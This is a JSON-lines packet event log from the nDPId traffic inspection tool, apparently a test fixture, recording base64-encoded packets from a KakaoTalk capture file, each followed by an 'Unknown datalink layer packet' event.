+00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":512,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":629431,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHRH8\/wHJAa4KGFK8WgQsOABnXA+AbDGkfqqTg1SapdrUriPaAoVhaq2ZQaTszzoYcuCB53zvE+NsCsUghlCzuyBXVK4jz3EKaZHxAJ6VMWG5hONPnVIm3vvhuYO4Q+xTKJZb8O+jZdz0iMNEJDujNoWzzA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":512,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":513,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":642188,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmIDCAbDGnfqqew1Sapdr77mLmjJXsuszYxGWfPZBqp+XcMdrS2o9Jijm8M2CUzgB7zUTlSv9HERFLxzHiKxc+rgJ6UW7f+8R3I8O8FJjIYaUrsmgeJdn0+Y8XmWbwTc+t"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":513,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":514,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":647498,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAGxH+2wHJAa4KGFK8WgYoHACLWbKAbE8eizsx2guGVRk\/z+eHrFV0OMlhSLYORh8iiKpas1lbC6xd+OQmD5UJ2gGU0y+IcTGkpLUH7miV\/28XqYQFa1eEv5Em9xGZvOqISoW4Gt4HEOhGfzZFyntiRAG3FiZv2cBOYz5L\/sSOKAW3LW93TU1r0nn9TbaPUTAmoE9ZKxADfw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":514,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":515,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":679602,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJcAAEAAHBH94wHJAa4KGFK8WgYoHACDCP2AbE8fizs1mguGVRnnsQoYQiFoeHQ4A7O2XCnFYNwZ\/TFlw4daaF0rkfqPlwMmowRGk5Mc+Id5uM5CR7dKvnHI1irjcyZSFNDCA3QNItK6Zlgo\/8kTGcZ4lUeOR8QaBzQy4JuKpjMEI71GEOy+\/Mi2gOdOWmZHJ5HWU\/Y="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":515,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":516,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":688300,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABiX8aAbDGlfqqXQ1SapdrukbD6G2BD\/o1\/jKslklnbjrsWZnaxHrPHA3VufGW9+ywZDgmtQyps4kpKVmkTb0+jEleF9Mz5ffwrO0UTX5rDrkNxIkIX2LmtI\/L77OY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":516,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":517,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":709418,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZ1rqAbE8iiztA2guGVRnAmJ8S39dJpdy2\/A+hyqxVJGAm5VRYdAl2Su7BsAxkAGZghOTRnRP5QET9UAYdDA7XUIX6ap0YDbNlDd\/s6SvO8dgh5Rm4S5DMwBAqdy0mRk03GMNeWX909eYNfpaHrLkwWncqlB7o6xxYWFNMkRbv+\/jywug3J5ojMqYLlECmYeIpz6\/\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":517,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":518,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":715613,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABdTvKAbDGmfqqbA1SapdrDNj5lsbDh4Sd\/A2Zwfp0GZpsdI4qTYN+e8\/HdICQ7JDSB7ampH07G+9bfD+THCTBOrMp19ZC9M5wpP5dGvDJ05\/0uVePVPK+g"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":518,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":519,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":727271,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAQBHaOQoYUrwByQGuKBxaBgBV7S+AbDGofqqig1Sapdonlyda6Pt0fOyImcvCgUoW71YjsP6spo4Fmx4vg62JkN+S6N8wF+sDXAK+X32kV8gYZqjx3lyXl\/5q1tYQYw0APA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":519,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":520,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":735633,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKYAAEAAHBH91AHJAa4KGFK8WgYoHACS392AbE8gizs5WguGVRkBt0uUCat4nYPWPOaFYMs13jDRRkodJZgSJeoZZMrW1dBw5sxDJ\/+JBl1X74Bi3N7fU95ByjErZljP3DDFQtkvC8RELYx8ZRuCMazyijWmpmksjqaV0eKC0gbKS3IyVAMkbdILljMG3KJn5ei8qZfp5J0yys4UbagV2vNzkpM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":520,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":521,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":779669,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKYAAEAAHBH91AHJAa4KGFK8WgYoHACS6oOAbE8hizs9GguGVRnkN3IUkLjvHWmz0E1aNAImsPfz8feyZfwmoSEAKx19HZrZsx8C4dz7x9vowdFwzuQ07u9cNB8o8KgPP36YfELcZ4EJ4HwIrj1nCYp2IOHChmXFuMe3TpkLGdS6faDDU6Ul49cB+qpACsU39j\/pK95CZp5iefEi2x+v7E59IOE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":521,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":522,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":779914,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmHBaAbDGnfqqew1Sapdr77mLmjJXsuszYxGWfPZBqp+XcMdrS2o9Jijm8M2CUzgB7zUTlSv9HERFLxzHiKxc+rgJ6UW7f+8R3I8O8FJjIYaUrsmgeJdn0+Y8XmWbwTc+t"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":522,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":808142,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAPxHa+woYUrwByQGuLDhaBACTiz6AbE8jiztEmguGVRmEZ5a6HtbUEo154zU2eZ78uOkVAbKrg1ccepqxrMnjtXXSQb9+CEq4r0DwEOiVbnVdBR\/isPub\/LuTY\/X2U\/ki33rxS61HP8dnP+Qeqv5QkHWRKb9AGiuWLqut2Ka8RpIZB3i87CSIJaBRF+E+BQ7Jf64+Hl+4XPL1\/FUiA2fw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":523,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":809241,"pkt_caplen":161,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":161,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJEAAEAAPxHbEQoYUrwByQGuLDhaBAB9D7OAbE8kiztIWguGVRn098FhDst8G5O7sX+2tqGswkPF+J\/97RvdKQPt8Fy1ZGyk+eG3ptYnVWNnK0Lo2S3nGDj1niqEuW1POvZbQ9un0gB3Y7juW5NIFwJg5Ibac\/0Q5VWYY6LNNUwzozk6RMZtdGXKbgnLoCI="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":524,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":817694,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAQBHaJgoYUrwByQGuKBxaBgBoFBKAbDGpfqqmQ1SapdqaZwVU907godOk8KnHs3QODztGSmREsfKwcgZnHZkPsLXStjMm66vP8N6RVpr7Z9+H2f1dpLyulSiaR3A0kr3sdYmeXNK22JLe6FLoNw3xAPwtW2c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":525,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":823523,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBgYECAbDGqfqqqA1SapdpevhNka\/99E\/1p\/iO93c6acqN8ZFm4RV7CNHe1zKbDz1PK3ptMCMRIaNgudGoc+TmrB4GxRzlxzYNCknzTthuGMl91Fin7vANrRoq6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":526,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":847632,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZ2tSAbE8iiztA2guGVRnAmJ8S39dJpdy2\/A+hyqxVJGAm5VRYdAl2Su7BsAxkAGZghOTRnRP5QET9UAYdDA7XUIX6ap0YDbNlDd\/s6SvO8dgh5Rm4S5DMwBAqdy0mRk03GMNeWX909eYNfpaHrLkwWncqlB7o6xxYWFNMkRbv+\/jywug3J5ojMqYLlECmYeIpz6\/\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":527,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":847815,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHRH9EQHJAa4KGFK8WgQsOABV6RWAbDGofqqig1Sapdonlyda6Pt0fOyImcvCgUoW71YjsP6spo4Fmx4vg62JkN+S6N8wF+sDXAK+X32kV8gYZqjx3lyXl\/5q1tYQYw0APA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":528,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":916632,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAPxHbHAoYUrwByQGuLDhaBAByLsWAbE8liztMGguGVRmU4bgYLzjK5ymwmwNK5qqJ6nLIpFBBMoeYLgZztGdb7yNTLuD1QjYwhntPLo\/tGAVxJaZV1wCiTBRCA6OZmxit11X5PnPcAE0GoV1B2eINCLtuAFSwiDk2GeYcnzpU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":529,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":919989,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJkAAEAAPxHbCQoYUrwByQGuLDhaBACFD0aAbE8miztP2guGVRm32E6BswbD6gmaZP0lJiTbs8ucvneilo4Nd2y7RmOVpx8wEhTYCE8BC\/fXPAW++T0RJSWAgeHhLeOaFJwNRg9fR7aYWtAmJgjs8zpQedaqupQHkmH1iTlbVRuLdyxbyN+z23Jz67\/krmTxuuzE9OggGQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":530,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":922919,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHcAAEAAQBHaKwoYUrwByQGuKBxaBgBjS8iAbDGrfqqtw1SapdrAS2PJNP0gVv0Xym2bVwHQhRVmE3+4wHofdE2nSHUKjMZ0P6MNnxp9o5F6GKI1x3s6bSdIou5wBgZjGACOkZd2v8aamWK4QnwCE5L6HiEN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":935584,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHBH90wHJAa4KGFK8WgYoHACTj1iAbE8jiztEmguGVRmEZ5a6HtbUEo154zU2eZ78uOkVAbKrg1ccepqxrMnjtXXSQb9+CEq4r0DwEOiVbnVdBR\/isPub\/LuTY\/X2U\/ki33rxS61HP8dnP+Qeqv5QkHWRKb9AGiuWLqut2Ka8RpIZB3i87CSIJaBRF+E+BQ7Jf64+Hl+4XPL1\/FUiA2fw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":947547,"pkt_caplen":161,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":161,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJEAAEAAHBH96QHJAa4KGFK8WgYoHAB9E82AbE8kiztIWguGVRn098FhDst8G5O7sX+2tqGswkPF+J\/97RvdKQPt8Fy1ZGyk+eG3ptYnVWNnK0Lo2S3nGDj1niqEuW1POvZbQ9un0gB3Y7juW5NIFwJg5Ibac\/0Q5VWYY6LNNUwzozk6RMZtdGXKbgnLoCI="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":958533,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfhNGAbDGsfqqxg1SapdodMj6LoeHsKJ9S\/RseJYoK7ymtLd8mn7KXAaV2nwUzBFWqePlgWoZ3UcjIR+w8ZUCYQ0KgyXV4qMzGhUlNAM7DFu5\/WJH24V5xpjw="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":983496,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAHRH8\/gHJAa4KGFK8WgQsOABoD\/iAbDGpfqqmQ1SapdqaZwVU907godOk8KnHs3QODztGSmREsfKwcgZnHZkPsLXStjMm66vP8N6RVpr7Z9+H2f1dpLyulSiaR3A0kr3sdYmeXNK22JLe6FLoNw3xAPwtW2c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":987494,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABgXCaAbDGqfqqqA1SapdpevhNka\/99E\/1p\/iO93c6acqN8ZFm4RV7CNHe1zKbDz1PK3ptMCMRIaNgudGoc+TmrB4GxRzlxzYNCknzTthuGMl91Fin7vANrRoq6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":2509,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBk9BmAbDGtfqq1Q1SapdqmuD+I+KQx1gUys6Lms+7SXX6+3Lpsh+WpT2n79GSDpUyyWJVfidI24uPcidmqlprrxDFXsJwqLjlH6XGNcFjv5Fz0o9Oh4qDlAmBAgYdhPg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":13465,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAPxHbGwoYUrwByQGuLDhaBABzb4+AbE8niztTmguGVRnn7yfP+nP4saCIip4ytuerqTMUqudgvqhMRrfl+lcX8zB3pzqIe5hu6QyBGihqJ4DeAlNtfW7HbRKJiAzi+2H6Vt+wbAGKG598gSHJHbo+blGzD1+pvaeWv3nmvjkOHg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":47461,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIYAAEAAHBH99AHJAa4KGFK8WgYoHAByMt+AbE8liztMGguGVRmU4bgYLzjK5ymwmwNK5qqJ6nLIpFBBMoeYLgZztGdb7yNTLuD1QjYwhntPLo\/tGAVxJaZV1wCiTBRCA6OZmxit11X5PnPcAE0GoV1B2eINCLtuAFSwiDk2GeYcnzpU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":96442,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABjR66AbDGrfqqtw1SapdrAS2PJNP0gVv0Xym2bVwHQhRVmE3+4wHofdE2nSHUKjMZ0P6MNnxp9o5F6GKI1x3s6bSdIou5wBgZjGACOkZd2v8aamWK4QnwCE5L6HiEN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":96930,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJkAAEAAHBH94QHJAa4KGFK8WgYoHACFE2CAbE8miztP2guGVRm32E6BswbD6gmaZP0lJiTbs8ucvneilo4Nd2y7RmOVpx8wEhTYCE8BC\/fXPAW++T0RJSWAgeHhLeOaFJwNRg9fR7aYWtAmJgjs8zpQedaqupQHkmH1iTlbVRuLdyxbyN+z23Jz67\/krmTxuuzE9OggGQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":104376,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZXkCAbDGufqq5A1SapdoDF2jTcUW8rpA6q+ygWyOEEp5ZyaIh54nEeCTA5rmIBBuRB80AJ4ucZj+GRJZbF8pje\/mBAwRAKPxIg3bC3blDWSOwZwM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069178,"pkt_ts_usec":108069,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfgLeAbDGsfqqxg1SapdodMj6LoeHsKJ9S\/RseJYoK7ymtLd8mn7KXAaV2nwUzBFWqePlgWoZ3UcjIR+w8ZUCYQ0KgyXV4qMzGhUlNAM7DFu5\/WJH24V5xpjw="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 